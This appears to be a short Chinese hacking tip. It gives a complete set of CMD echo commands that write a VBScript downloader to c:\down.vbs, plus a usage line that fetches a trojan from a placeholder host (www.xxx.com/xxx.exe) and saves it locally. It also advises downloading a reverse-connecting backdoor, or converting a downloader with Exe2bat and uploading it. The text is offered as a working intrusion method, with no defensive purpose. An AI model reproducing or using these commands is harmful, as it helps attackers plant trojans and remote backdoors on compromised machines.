能执行CMD就行了。在CMD下输入以下代码
echo iLocal = LCase(WScript.Arguments(1)) >c:\down.vbs
echo iRemote = LCase(WScript.Arguments(0)) >>c:\down.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>c:\down.vbs
echo xPost.Open "GET",iRemote,0 >>c:\down.vbs
echo xPost.Send() >>c:\down.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>c:\down.vbs
echo sGet.Mode = 3 >>c:\down.vbs
echo sGet.Type = 1 >>c:\down.vbs
echo sGet.Open() >>c:\down.vbs
echo sGet.Write(xPost.responseBody) >>c:\down.vbs
echo sGet.SaveToFile iLocal,2 >>c:\down.vbs
用法c:\down.vbs
http://www.xxx.com/xxx.exe(你的木马位置) c:\abc.exe(保存位置)
下载个反弹后门就行了。或者把一个下载着用Exe2bat把下载者转换成BAT文件。传上去。下载个后门就行了。